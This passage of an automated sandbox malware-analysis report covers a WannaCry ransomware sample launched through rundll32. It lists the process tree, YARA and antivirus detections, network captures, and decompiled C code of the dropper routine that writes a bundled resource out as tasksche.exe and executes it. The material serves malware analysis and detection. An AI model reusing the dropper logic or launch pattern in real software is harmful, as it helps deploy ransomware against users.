99	192.168.2.6	56043	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:43 UTC	9522	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 61 36 62 35 65 39 36 61 64 36 65 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 244Context: aaa6b5e96ad6ea
2022-07-21 02:36:43 UTC	9522	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:36:43 UTC	9522	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 61 36 62 35 65 39 36 61 64 36 65 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 4a 53 Data Ascii: ATH 2 CON\DEVICE 1012Context: aaa6b5e96ad6ea<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaTJS
2022-07-21 02:36:43 UTC	9523	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 36 38 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 61 36 62 35 65 39 36 61 64 36 65 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 168Context: aaa6b5e96ad6ea<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-21 02:36:43 UTC	9523	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:36:43 UTC	9523	IN	Data Raw: 4d 53 2d 43 56 3a 20 78 42 69 57 56 49 64 68 51 30 36 66 53 4e 67 58 51 65 68 6e 37 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: xBiWVIdhQ06fSNgXQehn7g.0Payload parsing failed.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 6976, Parent PID: 5052

General

Target ID:	0
Start time:	04:33:42
Start date:	21/07/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll"
Imagebase:	0x2b0000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6984, Parent PID: 6976

General

Target ID:	1
Start time:	04:33:43
Start date:	21/07/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1
Imagebase:	0xed0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6996, Parent PID: 6976

General

Target ID:	2
Start time:	04:33:43
Start date:	21/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\7B6t4L7E2o.dll,PlayGame
Imagebase:	0x3f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7008, Parent PID: 6984

General

Target ID:	3
Start time:	04:33:43
Start date:	21/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1
Imagebase:	0x3f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvc.exePID: 7052, Parent PID: 7008

General

Target ID:	4
Start time:	04:33:45
Start date:	21/07/2022
Path:	C:\Windows\mssecsvc.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvc.exe
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	478ABB44DBBA06E87DECD2DF49F3D986
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.383555481.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.388921901.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.402789038.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.381743953.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.386794832.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.389103282.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.386917948.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.381846118.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.383619617.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\mssecsvc.exe, Author: ReversingLabs
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 89%, Metadefender, Browse Detection: 93%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7068, Parent PID: 6976

General

Target ID:	5
Start time:	04:33:47
Start date:	21/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",PlayGame
Imagebase:	0x3f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvc.exePID: 7080, Parent PID: 7068

General

Target ID:	6
Start time:	04:33:48
Start date:	21/07/2022
Path:	C:\Windows\mssecsvc.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvc.exe
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	478ABB44DBBA06E87DECD2DF49F3D986
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.386656111.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.388154808.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.391231857.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.395266769.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000002.406030785.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000002.406179599.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.395368035.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.386790075.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.388214852.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.391365800.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvc.exePID: 7128, Parent PID: 588

General

Target ID:	7
Start time:	04:33:51
Start date:	21/07/2022
Path:	C:\Windows\mssecsvc.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvc.exe -m security
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	478ABB44DBBA06E87DECD2DF49F3D986
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.989090539.000000000042E000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.394868097.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.394973919.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 6128, Parent PID: 7052

General

Target ID:	8
Start time:	04:33:54
Start date:	21/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	false
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	3514368 bytes
MD5 hash:	3233ACED9279EF54267C479BBA665B90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000008.00000000.400435430.000000000040E000.00000008.00000001.01000000.00000006.sdmp, Author: us-cert code analysis team Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly) Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 85%, Metadefender, Browse Detection: 95%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 6004, Parent PID: 7080

General

Target ID:	10
Start time:	04:33:55
Start date:	21/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	false
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	3514368 bytes
MD5 hash:	3233ACED9279EF54267C479BBA665B90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000A.00000000.402045388.000000000040E000.00000008.00000001.01000000.00000007.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000A.00000002.403090733.000000000040E000.00000008.00000001.01000000.00000007.sdmp, Author: us-cert code analysis team
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 7780, Parent PID: 588

General

Target ID:	15
Start time:	04:34:18
Start date:	21/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 8132, Parent PID: 588

General

Target ID:	16
Start time:	04:34:21
Start date:	21/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5416, Parent PID: 588

General

Target ID:	17
Start time:	04:34:27
Start date:	21/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 9388, Parent PID: 588

General

Target ID:	20
Start time:	04:34:58
Start date:	21/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 12220, Parent PID: 588

General

Target ID:	24
Start time:	04:35:28
Start date:	21/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: mssecsvc.exePID: 7052, Parent PID: 7008COMMON

Execution Graph

Execution Coverage:	71.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	64.9%
Total number of Nodes:	37
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				struct _STARTUPINFOA _v588;
				struct _PROCESS_INFORMATION _v604;
				long _v608;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				void* _t50;
				int _t59;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					 *0x43144c = _t36;
					if( *0x431478 != 0) {
						_t121 =  *0x431458; // 0x76f1f7b0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x76f1fc30
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1); // executed
												_t50 = CreateFileA( &_v520, 0x40000000, 0, 0, 2, 4, 0); // executed
												_t107 = _t50;
												if(_t107 != 0xffffffff) {
													WriteFile(_t107, _v608, _t109,  &_v608, 0); // executed
													FindCloseChangeNotification(_t107); // executed
													_v604.hThread = 0;
													_v604.dwProcessId = 0;
													_v604.dwThreadId = 0;
													memset( &(_v588.lpReserved), 0, 0x10 << 2);
													asm("repne scasb");
													_v604.hProcess = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v520 - 1, _t108, 0 << 2);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_v588.cb = 0x44;
													_v588.wShowWindow = 0;
													_v588.dwFlags = 0x81;
													_t59 = CreateProcessA(0,  &_v520, 0, 0, 0, 0x8000000, 0, 0,  &_v588,  &_v604); // executed
													if(_t59 != 0) {
														CloseHandle(_v604.hThread);
														CloseHandle(_v604);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e43
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebc
0x00407ed3
0x00407edb
0x00407ee0
0x00407ee8
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F54FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00407E61
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407E68
CreateProcessA.KERNELBASE ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

CloseHandle, xrefs: 00407D29
WriteFile, xrefs: 00407D1C
CreateProcessA, xrefs: 00407D07
tasksche.exe, xrefs: 00407DEA
D, xrefs: 00407ED3
kernel32.dll, xrefs: 00407CEA
/i, xrefs: 00407E8D
CreateFileA, xrefs: 00407D0F
WINDOWS, xrefs: 00407DF2, 00407E0D
C:\%s\qeriuwjhrf, xrefs: 00407E12
C:\%s\%s, xrefs: 00407DFB

Memory Dump Source

Source File: 00000004.00000002.402769227.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.402705721.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402778474.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402783803.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402789038.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402812173.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: AddressProcResource$CloseFileHandle$CreateFindsprintf$ChangeLoadLockModuleMoveNotificationProcessSizeofWrite
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 1541710770-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

0x00409a19
0x00409a1b
0x00409a20
0x00409a2b
0x00409a2c
0x00409a39
0x00409a3e
0x00409a43
0x00409a4a
0x00409a51
0x00409a64
0x00409a72
0x00409a7b
